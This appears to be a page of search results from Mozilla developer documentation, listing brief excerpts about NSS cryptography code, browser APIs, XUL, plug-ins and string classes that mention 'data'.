...pe type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters from the header file */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfailure; } switch (type) { case symkey: strcpy(header, enckey_header); strcpy(trailer, enckey_trailer); bre...
...ak; case mackey: strcpy(header, mackey_header); strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *t...
...And 18 more matches
Python binding for NSS
a single code base supports both py2 (minimum version 2.7) and py3 when built for py2: text will be a unicode object binary data will be a str object ints will be python long object when built for py3: text will be a str object binary data will be a bytes object ints will be a python int object all pure python tests and examples have been ported to py3 syntax but should continue to run under py2.
...ines nss.pk11slot.format nss.pk11symkey.format_lines nss.pk11symkey.format nss.secitem.to_base64 nss.secitem.format_lines nss.secitem.format the following files were added: doc/examples/pbkdf2_example.py the secitem constructor added 'ascii' parameter to permit initialization from base64 and/or pem textual data.
...56 ssl.tls_rsa_with_camellia_128_cbc_sha ssl.tls_rsa_with_camellia_256_cbc_sha ssl.tls_rsa_with_des_cbc_sha ssl.tls_rsa_with_idea_cbc_sha ssl.tls_rsa_with_null_md5 ssl.tls_rsa_with_null_sha ssl.tls_rsa_with_null_sha256 ssl.tls_rsa_with_rc4_128_md5 ssl.tls_rsa_with_rc4_128_sha ssl.tls_rsa_with_seed_cbc_sha ssl.ssl_variant_datagram ssl.ssl_variant_stream ssl.ssl_library_version_2 ssl.ssl_library_version_3_0 ssl.ssl_library_version_tls_1_0 ssl.ssl_library_version_tls_1_1 ssl.ssl_library_version_tls_1_2 ssl.ssl_library_version_tls_1_3 ssl.ssl2 ssl.ssl3 ssl.tls1.0 ssl.tls1.1 ssl.tls1.2 ssl.tls1.3 the following metho...
...And 18 more matches
Index
the finalizer's job is to clean up any resources allocated by the instance which wouldn't normally be cleaned up by the garbage collector (private data stored in the object by the application, file handles, etc.) 108 jsfreeop jsapi reference, reference, référence(2), spidermonkey various finalization api takes not jscontext * but rather either jsfreeop structure or its library-private counterpart freeop.
... 156 jstraceop jsapi reference, reference, référence(2), spidermonkey jstraceop is the function type for trace operation of the class called to enumerate all traceable things reachable from obj's private data structure.
... 182 jsxdrobjectop jsapi reference, obsolete, reference, référence(2), spidermonkey serialize or deserialize an object, given an xdr state record representing external data.
...And 18 more matches
nsICacheEntryDescriptor
inherits from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode get...
... cacheelement nsisupports get or set the cache data element.
... predicteddatasize print64 stores the content-length specified in the http header for this entry.
...And 18 more matches
Performance
mozstorage uses sqlite as the database backend.
... it has generally good performance for a small embedded database.
... however, many things cause various database operations to be slow.
...And 18 more matches
Timing element visibility with the Intersection Observer API - Web APIs
although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site.
... function handlevisibilitychange() { if (document.hidden) { if (!previouslyvisibleads) { previouslyvisibleads = visibleads; visibleads = []; previouslyvisibleads.foreach(function(adbox) { updateadtimer(adbox); adbox.dataset.lastviewstarted = 0; }); } } else { previouslyvisibleads.foreach(function(adbox) { adbox.dataset.lastviewstarted = performance.now(); }); visibleads = previouslyvisibleads; previouslyvisibleads = null; } } since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the document.hidden property is checked t...
...then, for each of the ads that are being suspended, we call our updateadtimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastviewstarted property to 0, which indicates that the tab's timer isn't running.
...And 18 more matches
HTTP Index - HTTP
WebHTTPIndex
http is a stateless protocol, meaning that the server does not keep any data (state) between two requests.
... 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... 6 data urls base64, guide, http, intermediate, url data urls, urls prefixed with the data: scheme, allow content creators to embed small files inline in documents.
...And 18 more matches
panel - Archive of obsolete content
to do this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...hod or to its constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var sdkpanels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onchange: handlechange }); var mypanel = sdkpanels.panel({ contenturl: self.data.url("panel.html"), onhide: handlehide }); function handlechange(state) { if (state.checked) { mypanel.show({ position: button }); } } function handlehide() { button.state('window', {checked: false}); } updating panel content you can update the panel's content by: sending a message to a content script that updates the dom in the same document.
...it's usually better practice to use contentscriptfile, which is a url pointing to a script file saved under your add-on's data directory.
...And 17 more matches
places/bookmarks - Archive of obsolete content
usage this module exports: three constructors: bookmark, group, and separator, corresponding to the types of objects, referred to as bookmark items, in the bookmarks database in firefox two additional functions, save() to create, update, and remove bookmark items, and search() to retrieve the bookmark items that match a particular set of criteria.
...the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user.
... examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditem...
...And 17 more matches
Places utilities for JavaScript
post_data_anno - i need to clarify here, but i think this is the name of the annotation that stores information for keyword searches from a bookmark.
...lean nodeislivemarkitem(nsinavhistoryresultnode anode); obsolete since gecko 21 boolean isreadonlyfolder(nsinavhistoryresultnode anode); int getindexofnode(nsinavhistoryresultnode anode); string wrapnode(nsinavhistoryresultnode anode, string atype, nsiuri aoverrideuri); array unwrapnodes(string blob, string atype); nsitransaction maketransaction(string data, string type, nsinavhistoryresultnode container, int index, boolean copy); nsinavhistoryresult getfoldercontents(int afolderid, boolean aexcludeitems, boolean aexpandqueries); boolean showaddbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean show...
...minimaladdbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showaddlivemarkui(nsiuri afeeduri, nsiuri asiteuri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker); boolean showminimaladdlivemarkui(nsiuri afeeduri, nsiuri asiteuri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker); boolean showminimaladdmultibookmarkui(array nsiuri aurilist); boolean showbookmarkproperties(int aid); boolean showfolderproperties(int aid); boolean showaddfolderui(string atitle, int adefaultinsertionpoint, boolean ashowpicker); array object getannotationsforur...
...And 17 more matches
nsDependentCString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
... rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...And 17 more matches
Initialization and Destruction - Plugins
during initialization, when the browser encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it loads the plug-in code into memory (if it hasn't been loaded already) and creates a new instance of the plug-in.
...more than one instance of the same plug-in can exist if a single page contains multiple embedded plug-ins, or if several browser windows are open and display the same data type.
...you can allocate instance-specific private data at this time.
...And 17 more matches
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the plug-in code into memory initialize the plug-in create a new instance of the plug-in gecko can load multiple instances of the same plug-in on a single page, or in several open windows at the same time.
... the following stages outline the life of a plug-in from loading to deletion: when gecko encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it dynamically loads the plug-in code into memory, if it hasn't been loaded already, and it creates a new instance of the plug-in.
...And 17 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api provides a static, asynchronous transaction on a database using event handler attributes.
... all reading and writing of data is done within transactions.
... you use idbdatabase to start transactions, idbtransaction to set the mode of the transaction (e.g.
...And 17 more matches
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single command within a path data specification.
... pathseg_closepath 1 corresponds to a "closepath" (z) path data command.
... pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data command.
...And 17 more matches
Web Authentication API - Web APIs
this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
...this is a simplification of the data required for the registration process that is only intended to provide an overview.
...note most javascript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.
...And 17 more matches
Connecting to Remote Content - Archive of obsolete content
besides xml, it can be used to retrieve data in other formats, for example json, html and plain text.
...sending a post request requires you to set the content type of the request and to pass the post data to the send() method as below.
... request.open("post", url, true); request.setrequestheader("content-type", "application/x-www-form-urlencoded"); request.send("data=hello&version=2"); the third parameter for the open method specifies whether the request should be handled asynchronously or not.
...And 16 more matches
Trees and Templates - Archive of obsolete content
adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data.
...you need to add a datasources and a ref attribute to the tree element, which specify the datasource and root node to display.
... multiple rules can be used to indicate different content for different types of data.
...And 16 more matches
Website security - Learn web development
as you read, note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser.
... while the data from post or get requests is the most common source of xss vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data rendered by the browser, or user files that are uploaded and displayed.
... the process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization.
...And 16 more matches
PKCS #11 Module Specs
if the library is not specified, the line represents some application specific meta configuration data.
... if the application/library does not find its application/library specific data, it should use it's defaults for this pkcs #11 library.
...this data is currently stored in secmod.db or pkcs11.txt.
...And 16 more matches
NSS functions
function name/documentation source code nss versions nss_getclientauthdata mxr 3.2 and later nss_setdomesticpolicy mxr 3.2 and later nss_setexportpolicy mxr 3.2 and later nss_setfrancepolicy mxr 3.2 and later nssssl_versioncheck mxr 3.2.1 and later ssl_authcertificate mxr 3.2 and later ssl_authcertificatehook mxr 3.2 and later ssl_badcerthook mxr 3.2 and later ...
...pherprefgetdefault mxr 3.2 and later ssl_cipherprefset mxr 3.2 and later ssl_cipherprefsetdefault mxr 3.2 and later ssl_clearsessioncache mxr 3.2 and later ssl_configmpserversidcache mxr 3.2 and later ssl_configsecureserver mxr 3.2 and later ssl_configserversessionidcache mxr 3.2 and later ssl_datapending mxr 3.2 and later ssl_forcehandshake mxr 3.2 and later ssl_forcehandshakewithtimeout mxr 3.11.4 and later ssl_getchannelinfo mxr 3.4 and later ssl_getciphersuiteinfo mxr 3.4 and later ssl_getclientauthdatahook mxr 3.2 and later ssl_getmaxservercachelocks mxr 3.4 and later ssl_getsession...
... ssl_optionset ssl_enablecipher mxr ssl_cipherprefsetdefault ssl_enabledefault mxr ssl_optionsetdefault ssl_redohandshake mxr ssl_rehandshake ssl_setpolicy mxr ssl_cipherpolicyset certificate functions the public functions listed here are used to interact with certificate databases.
...And 16 more matches
NSS Tools ssltap
it watches tcp connections and displays the data going by.
... if a connection is ssl, the data display includes interpreted ssl records and handshaking.
...it passes any data sent by the client to the server and vice versa.
...And 16 more matches
NSS tools : signtool
ca certificates for several certificate authorities are preinstalled in the communicator certificate database.
... -d certdir specifies your certificate database directory; that is, the directory in which you placed your key3.db and cert7.db files.
...the nt version of signtool always requires the use of the -d option to specify where the database files are located.
...And 16 more matches
nsIDOMMozNetworkStatsManager
please check dom/network/interfaces/nsidomnetworkstatsmanager.idl to make sure this data is accurate.
...movealarms([optional] in long alarmid); nsidomdomrequest clearstats(in nsisupports network); nsidomdomrequest clearallstats(); nsidomdomrequest getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate long minimum time in milliseconds between samples stored in the database.
... nsidomdomrequest getsamples(in nsisupports network, in jsval start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); parameters network the origin of the data.
...And 16 more matches
nsIXULTemplateBuilder
the nsitemplatebuilder interface controls the display of elements using a xul template element and is automatically attached to an element containing a datasources attribute.
... a template builder, given an input source of data, a template, and a reference point, generates a list of results from the input, and copies part of the template for each result.
...as an example, for an xml data source the initial reference point would be a specific node in the dom tree and a template might generate a list of all child nodes.
...And 16 more matches
HTMLMediaElement - Web APIs
if no media data is available, the returned value is nan.
...mediakeys is a set of keys that an associated htmlmediaelement can use for decryption of media data during playback.
... the mozframebufferlength property can be set to a new value for lower latency, larger amounts of data, etc.
...And 16 more matches
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract frequency, waveform, and other data from your audio source, which can then be used to create visualizations.
... basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work, ...
... the analyser node will then capture audio data using a fast fourier transform (fft) in a certain frequency domain, depending on what you specify as the analysernode.fftsize property value (if no value is specified, the default is 2048.) note: you can also specify a minimum and maximum power value for the fft data scaling range, using analysernode.mindecibels and analysernode.maxdecibels, and different data averaging constants using analysernode.smoothingtimeconstant.
...And 16 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
the html <input> element is used to create interactive controls for web-based forms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and user agent.
...ommand or control is checked dirname text, search name of form field to use for sending the element's directionality in form submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit url to use for form submission formenctype image, submit form data set encoding type to use for form submission formmethod image, submit http method to use for form submission formnovalidate image, submit bypass form control validation for form submission formtarget image, submit browsing context for form submission height image same as height attribute for <img>; vertical dimension list alm...
...ost all value of the id attribute of the <datalist> of autocomplete options max numeric types maximum value maxlength password, search, tel, text, url maximum length (number of characters) of value min numeric types minimum value minlength password, search, tel, text, url minimum length (number of characters) of value multiple email, file boolean.
...And 16 more matches
JavaScript typed arrays - JavaScript
javascript typed arrays are array-like objects that provide a mechanism for reading and writing raw binary data in memory buffers.
... however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
...a buffer (implemented by the arraybuffer object) is an object representing a chunk of data; it has no format to speak of and offers no mechanism for accessing its contents.
...And 16 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a view object.
...the view is queried for the data to appear in the tree.
...in this situation, a content view (which implements the interface nsitreecontentview) which is a more specialized type of view, uses the treeitem elements and their descendants to determine the data to display in the tree.
...And 15 more matches
NPP_NewStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary notifies a plug-in instance of a new data stream.
...the browser must copy data in the stream to the local cache to satisfy random access requests made through npn_requestread.
... np_normal (default): delivers stream data to the instance in a series of calls to npp_writeready and npp_write.
...And 15 more matches
Introduction to the server side - Learn web development
most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed via some code (e.g.
... the request includes a url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies.
...on a dynamic website html pages are normally created by inserting data from a database into placeholders in html templates (this is a much more efficient way of storing large amounts of content than using static websites).
...And 15 more matches
How Mozilla's build system works
config.status contains 2 parts: data structures representing the output of configure and a command-line interface for preparing, configuring, or generating an appropriate build backend.
... these data structures describe the current state of the system and what the existing build configuration looks like.
... for example, a data structure defines which compiler to use, how to invoke it, which application features are enabled, and so on.
...And 15 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
...for information on security module database management, see using the security module database tool.
...And 15 more matches
NSS tools : signver
MozillaProjectsNSStoolssignver
-d [sql:]directory specify the database directory which contains the certificates and keys.
... signver supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and new sqlite databases (cert9.db, key4.db, and pkcs11.txt).
... if the prefix sql: is not used, then the tool assumes that the given databases are in the old format.
...And 15 more matches
Detailed XPCOM hashtable guide
a hashtable is a data construct that stores a set of items.
... any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, and almost anything else.
... hashtables are useful for sets of data that need swift random access; with non-integral keys or non-contiguous integral keys; or where items will be frequently added or removed.
...And 15 more matches
nsCAutoString
tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign ...
... assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsfixedcstring data members no public members.
... methods constructors void nscautostring() - source constructors void nscautostring(char) - source parameters char c void nscautostring(const char*, pruint32) - source parameters char* data pruint32 length void nscautostring(const nscautostring&) - source parameters nscautostring& str void nscautostring(const nsacstring_internal&) - source parameters nsacstring_internal& str void nscautostring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source param...
...And 15 more matches
nsDependentString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use.
... rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
...And 15 more matches
nsICryptoHash
netwerk/base/public/nsicryptohash.idlscriptable this interface can be used to compute a cryptographic hash function of some data.
... you can, for example, calculate the sha256 hash of a file to determine if it contains the data you think it does.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hash algorithms these constants are used by the init() method to indicate which hashing function to use.
...And 15 more matches
Using server-sent events - Web APIs
ce("//api.example.com/ssedemo.php", { withcredentials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by attaching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.appendchild(newelement); } this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and appends the message text to a list in the document's html.
... you can also listen for events with addeventlistener(): evtsource.addeventlistener("ping", function(event) { const newelement = document.createelement("li"); const time = json.parse(event.data).time; newelement.innerhtml = "ping at " + time; eventlist.appendchild(newelement); }); this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information.
... echo "event: ping\n"; $curdate = date(date_iso8601); echo 'data: {"time": "' .
...And 15 more matches
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store content-accessible data for individual web sites.
... the storage api gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the user agent disposes of site data in order to make room for other things.
... site storage—the data stored for a web site which is managed by the storage standard—includes: indexeddb databases cache api data service worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site storage unit for each origin.
...And 15 more matches
WebGL model view projection - Web APIs
this article explores how to take data within a webgl project, and project it into the proper spaces to display it on the screen.
...these composed matrices ultimately move the original model data around into a special coordinate space called clip space.
... the first matrix discussed below is the model matrix, which defines how you take your original model data and move it around in 3d world space.
...And 15 more matches
Getting Started - Developer guides
ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page.
... the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 – how to make an http request in order to make an http request to the server with javascript, you need an instance of an object with the necessary functionality.
... the parameter to the send() method can be any data you want to send to the server if post-ing the request.
...And 15 more matches
Digital audio concepts - Web media technologies
this analog signal is then converted into digital form by a circuit that captures the incoming wave's amplitude at regular intervals, converting that data into a number in a form that is understood by the audio recording system.
... audio data format and structure at the most basic level, audio is represented by a stream of samples, each specifying the amplitude of the audio waveform as measured for a given slice of the overall waveform of the audio signal.
...each audio frame is a data record that contains the samples for all of the channels available in an audio signal.
...And 15 more matches
Web video codec guide - Web media technologies
due to the sheer size of uncompressed video data, it's necessary to compress it significantly in order to store it, let alone transmit it over a network.
... imagine the amount of data needed to store uncompressed video: a single frame of high definition (1920x1080) video in full color (4 bytes per pixel) is 8,294,400 bytes.
...just as audio codecs do for the sound data, video codecs compress the video data and encode it into a format that can later be decoded and played back or edited.
...And 15 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events.
... the data from the web page (unprivileged code) will be the values of attribute1 and attribute2.
... to trigger the alert() in the listener and pass the data from the web page, write code such as this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt); this code creates an arbitrary element -- <myextensiondataelement/> -- and inserts it into the web page's dom.
...And 14 more matches
Signing an XPI - Archive of obsolete content
initialize the certificate database decide which folder to create the certificate database in.
... the dot will cause the database to be created in the current directory.
... you will be prompted for the nss certificate database password - don't forget it!
...And 14 more matches
JXON - Archive of obsolete content
an.jpg">burgundy</color_swatch> </size> </catalog_item> <catalog_item gender="women's"> <item_number>rrx9856</item_number> <discount_until>dec 25, 1995</discount_until> <price>42.50</price> <size description="medium"> <color_swatch image="black_cardigan.jpg">black</color_swatch> </size> </catalog_item> </product> <script type="text/javascript"><![cdata[function matchwo(a,b) { if (a < b && a < 0) { return 1; } else { return 0; } }]]></script> </catalog> first, create a dom tree like the previous example as described in the how to create a dom tree article.
... the algorithms proposed here (see: #1, #2, #3, #4) will consider only the following types of nodes and their attributes: document (only as function argument), documentfragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument).
...onode.nodevalue.trim() : onode.nodevalue; } // nodetype is "text" (3) or "cdatasection" (4) else if (onode.nodetype === 1 && !onode.prefix) { // nodetype is "element" (1) sprop = onode.nodename.tolowercase(); vcontent = new jxontree(onode); if (this.hasownproperty(sprop)) { if (this[sprop].constructor !== array) { this[sprop] = [this[sprop]]; } this[sprop].push(vcontent); } else { this[sprop] = vcontent; nlength++; } ...
...And 14 more matches
Mozilla XForms User Interface - Archive of obsolete content
elements from the "form controls" group allows users to interact with instance data.
...we use the data type of the instance node that the form control is bound to as a clue when making a rendering decision.
...the choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to.
...And 14 more matches
IME handling guide
the mdata value is a selected string at dispatching the dom event and it's automatically set by textcomposition.
...the mdata value should be always be an empty string.
...the mdata value is the commit string.
...And 14 more matches
Download
method overview promise start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled.
... you should use the individual state properties instead, since this value may not be updated after the last piece of data is transferred.
... haspartialdata read only boolean indicates whether, at this time, there is any partially downloaded data that can be used when restarting a failed or canceled download.
...And 14 more matches
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
...the primary host wraps the newly generated key using the // rsa key and stores the wrapped key data in a local file.
...the administrator of the secondary host verifies that the wrapped // key data came from the primary host.
...And 14 more matches
Necko Architecture
mimetype - mime <-> file extension mapping nkabout - about: protocol nkdata - data: protocol nkfile - file: protocol nkftp - ftp: protocol nkkeyword - keyword: protocol nkresrc - resource: protocol cnvts - stream converters stremcnv - stream converter service these libraries will change with time and illustrate the modularity of necko.
... architecture after a few iterations of our original design, the current necko architecture looks something like this: urls necko's primary responsibility is moving data from one location, to another location.
... handlers & channels nsichannel provides a data access interface which allows you to read or write data from or to a uri.
...And 14 more matches
nsAutoString
rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace ...
... replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsfixedstring data members no public members.
... methods constructors void nsautostring() - source constructors void nsautostring(prunichar) - source parameters prunichar c void nsautostring(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void nsautostring(const nsautostring&) - source parameters nsautostring& str void nsautostring(const nsastring_internal&) - source parameters nsastring_internal& str void nsautostring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(...
...And 14 more matches
nsXPIDLCString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
